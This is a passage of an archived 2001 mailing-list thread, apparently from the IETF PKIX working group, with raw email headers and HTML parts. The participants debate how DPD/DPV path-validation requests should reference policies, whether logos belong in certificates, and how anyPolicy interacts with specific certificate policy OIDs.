  this split, with a hash of the "evidence" in the short response, to tie the 
  two together. I like this suggestion and propose that we adopt this model as 
  part of out requirements. Of course, we need the protocol for retrieving the 
  evidence as well, to make the system complete.</FONT><BR><FONT 
  color=#000000></FONT></DIV>
  <DIV><FONT color=#000000>3- we still have some significant disagreement about 
  the nature of the path validation controls to be used for both services, but 
  especially for DPD. Related to this disagreement is the issue of whether an 
  DPD should support incremental queries relative to the same target 
  certificate. I don't think we have seen a concise, comprehensive description 
  of the application model where such an incremental approach is warranted, so I 
  solicit the proponents of this approach to provide such a description, so that 
  we can resolve this issue.</FONT></DIV>
  <DIV><BR></DIV>
  <DIV>I'm off on vacation next week, see you later,</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV><CODE><FONT size=3><BR><BR>This footnote confirms that this 
  email message has been swept by<BR>MIMEsweeper for the presence of computer 
  viruses.<BR></BLOCKQUOTE></FONT></CODE><CODE><FONT SIZE=3><BR>
<BR>
-----------------------------------------------------------------------------------------------------------------<BR>
The information contained in this message is confidential and is intended <BR>
for the addressee(s) only.  If you have received this message in error or <BR>
there are any problems please notify the originator immediately.  The <BR>
unauthorized use, disclosure, copying or alteration of this message is <BR>
strictly forbidden. Baltimore Technologies plc will not be liable for direct, <BR>
special, indirect or consequential damages arising from alteration of the <BR>
contents of this message by a third party or as a result of any virus being <BR>
passed on.<BR>
<BR>
In addition, certain Marketing collateral may be added from time to time to <BR>
promote Baltimore Technologies products, services, Global e-Security or <BR>
appearance at trade shows and conferences.<BR>
 <BR>
This footnote confirms that this email message has been swept by <BR>
Baltimore MIMEsweeper for Content Security threats, including<BR>
computer viruses.<BR>
</FONT></CODE></BODY></HTML>

------_=_NextPart_001_01C0B4F8.44547A50--


Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA20851; Sat, 24 Mar 2001 21:33:28 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id OAA11027; Sun, 25 Mar 2001 14:42:54 +1000
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Sun, 25 Mar 2001 15:34:11 +1000
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HNY7PQRT>; Sun, 25 Mar 2001 15:31:32 +1000
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'Carlin Covey'" <[e-mail]>, Paul Hoffman / IMC <[e-mail]>, Stephen Kent <[e-mail]>, [e-mail]
Subject: RE: some thoughts re DPD and DPV
Date: Sun, 25 Mar 2001 15:31:30 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

All,
Been fully agree with Paul in what he is saying about greivances of
client-server policy management, I suggest we do not limit ourselves to a
particular use mode. Instead, I would solicit leaving both the policy OID
and the explicit parameters options available (and optional) for the
clients.
Having a place for both an OID and for the parameters in the message
provides clients with flexibility to fine-tune a predefined policy, saying
"use this policy, but append/modify THAT parameter of it". Which may be a
real requirement down the track.

At that stage, our judgment is based on a very little practical experience
regarding what DPD/DPV client may become, and the environments they may be
operating in. Defining a protocol as a framework, and later on profiling it
for particular uses, may be a better choice.

Michael

-----Original Message-----
From: Carlin Covey [mailto:[e-mail]]
Sent: Sunday, March 25, 2001 7:26 AM
To: Paul Hoffman / IMC; Stephen Kent; [e-mail]
Subject: RE: some thoughts re DPD and DPV


Paul and Steve,

I agree that the DPD and DPV protocols should be simplified by
including just a reference to a server-resident path-validation
policy.  I also agree with Paul that a typical client will
make a choice among very few policies.  In fact, most clients 
will never make a choice.  The clients and servers will be 
pre-configured with one policy per client-type per enterprise.  
Simply including one policy OID in the request (possibly echoed 
in the response) will satisfy the great majority of use cases.  

Paul points out the near-zero success-rate of policy protocols.
DPD/DPV should not be made into a quasi-policy-protocol by 
including explicit policy information in the requests.  An OID
will do.  If there remains a need for client-configuration of 
server-resident policies, put that in a separate protocol as 
Steve has suggested.  

Let's proceed with a simplified, low-bandwidth DPD/DPV that is as 
free as possible of the burden of policy configuration.

-  Carlin Covey
   Cylink Corporation 

-----Original Message-----
From: Paul Hoffman / IMC [mailto:[e-mail]]
Sent: Friday, March 23, 2001 6:42 PM
To: Stephen Kent; [e-mail]
Subject: Re: some thoughts re DPD and DPV


At 7:09 PM -0500 3/23/01, Stephen Kent wrote:
>We could make ALL requests refer to a policy configured at the 
>server, rather than allowing for explicit transmission of these 
>parameters. To make this as flexible as the current proposals, we 
>would have to add a new protocol, to allow a client to register a 
>policy with a server, so that the client could later refer to that 
>policy. We probably want a facility to inquire about a registered 
>policy as well.

This sounds horrendously complex. To date, the IETF has had near-zero 
success with defining policy protocols, with policy working groups 
pretty much being unable to get closure. The method promoted in SCVP 
(can give individual policy info in requests or can use aggregated 
OIDs) seems much more sensible than forcing all clients to know (or, 
worse, discover and push) the policies on the server.

The number of policies a typical client wants will probably be few 
(most likely, just roots). Why make this so much more complicated 
than needed?

--Paul Hoffman, Director
--Internet Mail Consortium



This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.


-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.


Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA09671 for <[e-mail]>; Sat, 24 Mar 2001 16:40:16 -0800 (PST)
Received: from fwd07.sul.t-online.com  by mailout02.sul.t-online.com with smtp  id 14gyZv-0001Z6-02; Sun, 25 Mar 2001 01:40:19 +0100
Received: from junker.ms.inka.de (520010731148-0001@[62.224.169.199]) by fmrl07.sul.t-online.com with esmtp id 14gyZm-0YF8c4C; Sun, 25 Mar 2001 01:40:10 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id 4ADFE681D6 for <[e-mail]>; Sun, 25 Mar 2001 01:39:12 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Sun, 25 Mar 2001 01:39:11 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Reply-To: [e-mail]
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

Dean Povey wrote:
> 
> One way, is that the CA can ensure that the logo is a registered
> trademark owned by the subject it is being issued to.  The USPTO and other
> organisations like it already have processes to ensure that trademarks are
> not confusingly similar.

I disagree. The organizations registering trade marks/logos (e.g.
Deutsches Patentamt in Germany) do not guarantee that the trade
marks/logos are not similar to others. They're just doing the
registration, no exhaustive checking for conflicts => a CA cannot
rely on such a service.

> Also, one other potential use of an image reference in an EE certificate
> is a digital photo of an employee which obviously has a pretty good
> mechanism for verification (i.e. look at photo, look at person).

I agree here. A photo of a person could be of some use.

Ciao, Michael.


Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA06771 for <[e-mail]>; Sat, 24 Mar 2001 16:04:22 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2P04Nm17857 for <[e-mail]>; Sun, 25 Mar 2001 10:04:23 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>  of "Fri, 23 Mar 2001 18:52:59 +0100." <[e-mail]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 25 Mar 2001 10:04:23 +1000
From: Dean Povey <[e-mail]>

>"David P. Kemp" wrote:
> 
> If no one can propose a method by which a CA should decide not to
> certify a logo "similar to" the Chevrolet bowtie or the AT&T deathstar
> for someone other than Chevrolet or AT&T respectively, then it is
> obvious that changing PKIX to support logos has *NO* value to the
> user.
>

One way, is that the CA can ensure that the logo is a registered
trademark owned by the subject it is being issued to.  The USPTO and other
organisations like it already have processes to ensure that trademarks are 
not confusingly similar.

Again, similar problems exist for CAs working out what name to give to a 
subject, yet they manage to do a reasonable job of working it out. No one
seems to disagree that this is a problem, and everyone seems to be 
more or less comfortable with living with it.

Also, one other potential use of an image reference in an EE certificate
is a digital photo of an employee which obviously has a pretty good 
mechanism for verification (i.e. look at photo, look at person).



-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA06026 for <[e-mail]>; Sat, 24 Mar 2001 15:58:28 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Sat, 24 Mar 2001 15:58:49 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sat, 24 Mar 2001 15:58:58 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Sat, 24 Mar 2001 15:48:01 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4673.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Subject: RE: specific policies used in conjunction with anyPolicy
Date: Sat, 24 Mar 2001 15:48:00 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: specific policies used in conjunction with anyPolicy
Thread-Index: AcCzHWd7ZW86F9hsRaKJyBVQsdmH/QBmic3A
From: "Trevor Freeman" <[e-mail]>
To: "David A. Cooper" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 24 Mar 2001 23:48:01.0209 (UTC) FILETIME=[DC783290:01C0B4BC]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id PAA06027

David,
Any CA will have to be fully aware of its actions relating to supporting
its client base. Just because it maybe aware of an extensions existence,
does not mean its clients are ware of it. That has nothing to do with
the issue here. Is there any benefit from an explicitly defined policy
over the use of the all policy OID. A parent CA may restrict the range
of policies it is prepared to except from a subordinate using the
all-policy OID, but is there any benefit in wanting that policy explicit
marked. Without some more concrete justification, then the case seems
week, and does not justify the increased complexity we are inheriting.
It is think kind of "feature creep" that will the undoing of this group.
Trevor

-----Original Message-----
From: David A. Cooper [mailto:[e-mail]] 
Sent: Thursday, March 22, 2001 2:12 PM
To: Trevor Freeman; [e-mail]
Subject: RE: specific policies used in conjunction with anyPolicy


Trevor,

I do not see why you think I have made a "big leap". Are you referring
to my suggestion that one can assert both anyPolicy and some specific
policies or that applications may choose different values for
initial-any-policy-inhibit?

First, we have to acknowledge the existence of the inhibitAnyPolicy
extension. If a CA includes this extension in a certificate that it
issues, then the anyPolicy OID will be ignored in any certificates that
follow that certificate in a certification path. If the issuers of those
certificates do not specify policies other than anyPolicy in their
certificates, then the certification path will either be rejected or
will be accepted under no polices. So, if policies are important, and
there is the possibility that a CA (or the relying party) will inhibit
the processing of anyPolicy, then it will not be sufficient for CAs to
assert just the anyPolicy OID. If you want it to be the case that "if
you assert the all polices OID in a CA certificate, it is an operational
simplification, and the administrator does not need to add any more",
then you'll to get rid of inhibitAnyPolicy.

Second, while you may not be able to conceive of an instance where an
application would care about the value of initial-any-policy-inhibit, it
appears that Carlin Covey can. He stated that he wanted "to support
applications that insist on finding a specific policy OID, and also
support more liberal applications that will tolerate the anyPolicy OID."
The way for an application to specify that it insists on finding a
specify policy OID is to set initial-any-policy-inhibit.

At 11:58 AM 3/22/01 -0800, Trevor Freeman wrote:
>Dave,
>You have made a big leap here which I had not interpreted from the 
>text. This revolved around who is driving the inputs into the path 
>validation process. I can conceive instances where an application would

>want to pass in a-d. I do not think for one moment that an application 
>would care about the rest, nor should they. This stuff is already way 
>to complex, and interdependencies like this are a nightmare. We are on 
>an uphill battle to get applications to use PK wisely in the first 
>place because they think it is hard. Now you are asserting that we need

>to make PK administrators knowledgeable about what applications they 
>are supporting and expect that they are intimacy aware of all their 
>needs.

As I stated above, I was merely describing how Carlin Covey could
accomplished what he wanted to do. If you think there is something wrong
with what he wants to do, that is a different matter. I was merely
pointing out that it is supported by the standard.

>That is not doing to happen. We need clean simple rules if this is to 
>be successful. So lets start be saying if you assert the all polices 
>OID in a CA certificate, it is an operational simplification, and the 
>administrator does not need to add any more.

Unless the inhibitAnyPolicy extension is eliminated, this is simply not
the case.

>Trevor
>
>-----Original Message-----
>From: David A. Cooper [mailto:[e-mail]]
>Sent: Wednesday, March 21, 2001 12:32 PM
>To: [e-mail]
>Subject: Re: specific policies used in conjunction with anyPolicy
>
>Yes, you may assert both anyPolicy and specific certificate policies in

>the same certificate. This may not be specifically stated, but path 
>processing algorithm (section 6.1.3) does take this possibility into 
>account.
>
>The reason that this is allowed is exactly the one you stated. 
>Originally there was a rule that if anyPolicy were included in the 
>certificatePolicies extension, then no other policy could be included. 
>This rule was removed when the inhibitAnyPolicy extension was 
>developed. In the case you mention, the "strict" applications would set

>initial-any-policy-inhibit in order to ensure that the path would only 
>be considered valid under policies that had been explicitly listed in 
>each certificate. The more liberal applications would not set 
>initial-any-policy-inhibit and would then (possibly) consider the path 
>to be valid under more policies.
>
>At 01:11 PM 3/21/01 -0600, Carlin Covey wrote:
> >The certificate policies extension allows a sequence of policy OIDs. 
> >One such policy OID is anyPolicy.  I assume that it is permissible in

> >a CA cert to include specific policy OIDs in addition to the 
> >anyPolicy OID. The reason I would want to do this is to support 
> >applications that insist on finding a specific policy OID, and also 
> >support more liberal applications that will tolerate the anyPolicy 
> >OID.
> >
> >draft-ietf-pkix-new-part1-05 does not appear to prohibit using 
> >specific policy OIDs and the anyPolicy OID in the same CA cert.  Is 
> >this true?




Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA26550 for <[e-mail]>; Sat, 24 Mar 2001 13:47:11 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XWYL6; Sat, 24 Mar 2001 13:43:24 -0800
From: "Carlin Covey" <[e-mail]>
To: "Liaquat Khan" <[e-mail]>, <[e-mail]>, "Stephen Kent" <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Sat, 24 Mar 2001 14:46:30 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0006_01C0B471.36B09460"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <001001c0b453$62212b00$851efea9@vaio>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01C0B471.36B09460
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

some thoughts re DPD and DPVLiaquat,

I agree with you that it may be more appropriate for authorities other than
the client
to configure the path-validation policies.  The client would then be free to
choose one
of these already-configured policies via the appropriate OID in the request
(or, if the
client didn't like any of the policies, to either cause another one to be
configured at
the server in some out-of-band fashion, or to do the path validation
itself).  The CA
who issued the target certificate might be an appropriate authority to
configure some
policies, but the RP's own CA might be more appropriate in other situations.
In the
case of a DPV/DPD server that supports a particular enterprise, a likely
candidate
is the human authority who manages the DPV/DPD server for the enterprise.
-  Carlin Covey
   Cylink Corporation



  -----Original Message-----
  From: Liaquat Khan [mailto:[e-mail]]
  Sent: Saturday, March 24, 2001 4:13 AM
  To: [e-mail]; Stephen Kent
  Subject: Re: some thoughts re DPD and DPV


  I'm not against the idea of having a (validation) policy registered on the
server, which the client refers to in its request message.  However, IMO
would it not be more practical for the CA which issued the certificate to be
responsible for defining this policy and registering it directly with its
validation server?  This may remove some of the complexity of each client
having its own policy and a protocol for registering this at the server.
The client would only need to refer to the appropriate policy, which will be
based on the target certificate being checked.   Just some initial
thoughts...

  Regards,
  Liaquat

    ----- Original Message -----
    From: Stephen Kent
    To: [e-mail]
    Sent: Saturday, March 24, 2001 12:09 AM
    Subject: some thoughts re DPD and DPV


    Based on presentations by and discussions with various folks during the
IETF meeting this week, I have some suggestions for DPD/DPV requirements
that I would like to put forth for discussion.

    1- a motivation for both DPD and PDV has been to reduce the bandwidth
consumed by the path validation process. However, moving all of the
parameters required for path validation between a server and a client is
expensive in terms of bandwidth. Thus I think we should consider a
suggestion Denis Pinkas made on the list a while ago. We could make ALL
requests refer to a policy configured at the server, rather than allowing
for explicit transmission of these parameters. To make this as flexible as
the current proposals, we would have to add a new protocol, to allow a
client to register a policy with a server, so that the client could later
refer to that policy. We probably want a facility to inquire about a
registered policy as well. We could proceed with the development of DPD/DPV
protocols prior to having the policy registration and inquiry protocols
defined, if we feel the need to, but I would prefer parallel development of
such protocols. The bottom line would be much simpler syntax for the
requests and responses for both DPD and DPV, and smaller message sizes.

    2- Along the same line of reasoning, Denis rightly noted that the
primary purpose of DPV is to provide the yes/no/maybe response to a query re
a target certificate. Thus, we ought to have a compact message format to
provide this response, and a separate message for retrieval of the
supporting data for the response, e.g., for NR purposes.  He proposed this
split, with a hash of the "evidence" in the short response, to tie the two
together. I like this suggestion and propose that we adopt this model as
part of out requirements. Of course, we need the protocol for retrieving the
evidence as well, to make the system complete.

    3- we still have some significant disagreement about the nature of the
path validation controls to be used for both services, but especially for
DPD. Related to this disagreement is the issue of whether an DPD should
support incremental queries relative to the same target certificate. I don't
think we have seen a concise, comprehensive description of the application
model where such an incremental approach is warranted, so I solicit the
proponents of this approach to provide such a description, so that we can
resolve this issue.


    I'm off on vacation next week, see you later,


    Steve

------=_NextPart_000_0006_01C0B471.36B09460
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>some thoughts re DPD and DPV</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<STYLE type=3Dtext/css>BLOCKQUOTE {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
DL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
UL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
OL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
LI {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT =
face=3DArial>Liaquat<SPAN=20
class=3D536413321-24032001>,</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>I agree with you that it may be more =
appropriate for=20
authorities other than the client</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>to configure the path-validation =
policies.&nbsp; The=20
client would then be free to choose =
one</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>of these already-configured policies via the=20
appropriate OID in the request (or, if =
the</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>client didn't like any of the policies, to =
either cause=20
another one to be configured at</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>the server in =
</SPAN></FONT></FONT></FONT><FONT=20
size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN =
class=3D536413321-24032001>some=20
out-of-band fashion, or to do the path validation itself).&nbsp; The=20
CA</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>who issued the target certificate might be an =

appropriate authority to configure =
some</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>policies, but the RP's own CA might be more =
appropriate=20
in other situations.&nbsp; In the</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>case of a DPV/DPD server that supports a =
particular=20
enterprise, a likely candidate</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>is </SPAN></FONT></FONT></FONT><FONT =
size=3D2><FONT=20
color=3D#0000ff><FONT face=3DArial><SPAN class=3D536413321-24032001>the =
human=20
authority </SPAN></FONT></FONT></FONT><FONT size=3D2><FONT =
color=3D#0000ff><FONT=20
face=3DArial><SPAN class=3D536413321-24032001>who manages the DPV/DPD =
server for the=20
enterprise.</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001>
<P><FONT size=3D2>-&nbsp; Carlin Covey<BR>&nbsp;&nbsp; Cylink =
Corporation=20
</FONT></P></SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Liaquat Khan=20
  [mailto:[e-mail]]<BR><B>Sent:</B> Saturday, March 24, =
2001=20
  4:13 AM<BR><B>To:</B> [e-mail]; Stephen =
Kent<BR><B>Subject:</B> Re:=20
  some thoughts re DPD and DPV<BR><BR></DIV></FONT>
  <DIV><FONT face=3DArial size=3D2>I'm not against the idea of having a =
(validation)=20
  policy registered on the server, which the client refers to in its =
request=20
  message.&nbsp; However, IMO would it not be more practical for the CA =
which=20
  issued the certificate to be responsible for defining this policy and=20
  registering it directly with its validation server?&nbsp; This may =
remove some=20
  of the complexity of each client having&nbsp;its own&nbsp;policy and a =

  protocol for registering this at the server.&nbsp; &nbsp;&nbsp;The =
client=20
  would only need to refer to&nbsp;the appropriate policy, which will=20
  be&nbsp;based on the target certificate being checked.&nbsp;&nbsp; =
Just some=20
  initial thoughts...</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Liaquat</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
    <A href=3D"mailto:[e-mail]" title=[e-mail]>Stephen =
Kent</A> </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
href=3D"mailto:[e-mail]"=20
    title=[e-mail]>[e-mail]</A> </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, March 24, =
2001 12:09=20
    AM</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> some thoughts re DPD =
and=20
    DPV</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT><BR></DIV>
    <DIV><FONT color=3D#000000>Based on presentations by and discussions =
with=20
    various folks during the IETF meeting this week, I have some =
suggestions for=20
    DPD/DPV requirements that I would like to put forth for=20
    discussion.<BR><BR>1- a motivation for both DPD and PDV has been to =
reduce=20
    the bandwidth consumed by the path validation process. However, =
moving all=20
    of the parameters required for path validation between a server and =
a client=20
    is expensive in terms of bandwidth. Thus I think we should consider =
a=20
    suggestion Denis Pinkas made on the list a while ago. We could make =
ALL=20
    requests refer to a policy configured at the server, rather than =
allowing=20
    for explicit transmission of these parameters. To make this as =
flexible as=20
    the current proposals, we would have to add a new protocol, to allow =
a=20
    client to register a policy with a server, so that the client could =
later=20
    refer to that policy. We probably want a facility to inquire about a =

    registered policy as well. We could proceed with the development of =
DPD/DPV=20
    protocols prior to having the policy registration and inquiry =
protocols=20
    defined, if we feel the need to, but I would prefer parallel =
development of=20
    such protocols. The bottom line would be much simpler syntax for the =

    requests and responses for both DPD and DPV, and smaller message=20
    sizes.<BR><BR>2- Along the same line of reasoning, Denis rightly =
noted that=20
    the primary purpose of DPV is to provide the yes/no/maybe response =
to a=20
    query re a target certificate. Thus, we ought to have a compact =
message=20
    format to provide this response, and a separate message for =
retrieval of the=20
    supporting data for the response, e.g., for NR purposes.&nbsp; He =
proposed=20
    this split, with a hash of the "evidence" in the short response, to =
tie the=20
    two together. I like this suggestion and propose that we adopt this =
model as=20
    part of out requirements. Of course, we need the protocol for =
retrieving the=20
    evidence as well, to make the system complete.</FONT><BR><FONT=20
    color=3D#000000></FONT></DIV>
    <DIV><FONT color=3D#000000>3- we still have some significant =
disagreement=20
    about the nature of the path validation controls to be used for both =

    services, but especially for DPD. Related to this disagreement is =
the issue=20
    of whether an DPD should support incremental queries relative to the =
same=20
    target certificate. I don't think we have seen a concise, =
comprehensive=20
    description of the application model where such an incremental =
approach is=20
    warranted, so I solicit the proponents of this approach to provide =
such a=20
    description, so that we can resolve this issue.</FONT></DIV>
    <DIV><BR></DIV>
    <DIV>I'm off on vacation next week, see you later,</DIV>
    <DIV><BR></DIV>
    <DIV>Steve</DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0006_01C0B471.36B09460--



Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA24435; Sat, 24 Mar 2001 13:26:35 -0800 (PST)
Received: from COVEY (cpe-24-221-22-222.az.sprintbbd.net [24.221.22.222]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XWYLQ; Sat, 24 Mar 2001 13:23:14 -0800
From: "Carlin Covey" <[e-mail]>
To: "Paul Hoffman / IMC" <[e-mail]>, "Stephen Kent" <[e-mail]>, <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Sat, 24 Mar 2001 14:26:20 -0700
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <p05100802b6e1aad52bbf@[165.227.249.20]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Paul and Steve,

I agree that the DPD and DPV protocols should be simplified by
including just a reference to a server-resident path-validation
policy.  I also agree with Paul that a typical client will
make a choice among very few policies.  In fact, most clients 
will never make a choice.  The clients and servers will be 
pre-configured with one policy per client-type per enterprise.  
Simply including one policy OID in the request (possibly echoed 
in the response) will satisfy the great majority of use cases.  

Paul points out the near-zero success-rate of policy protocols.
DPD/DPV should not be made into a quasi-policy-protocol by 
including explicit policy information in the requests.  An OID
will do.  If there remains a need for client-configuration of 
server-resident policies, put that in a separate protocol as 
Steve has suggested.  

Let's proceed with a simplified, low-bandwidth DPD/DPV that is as 
free as possible of the burden of policy configuration.

-  Carlin Covey
   Cylink Corporation 

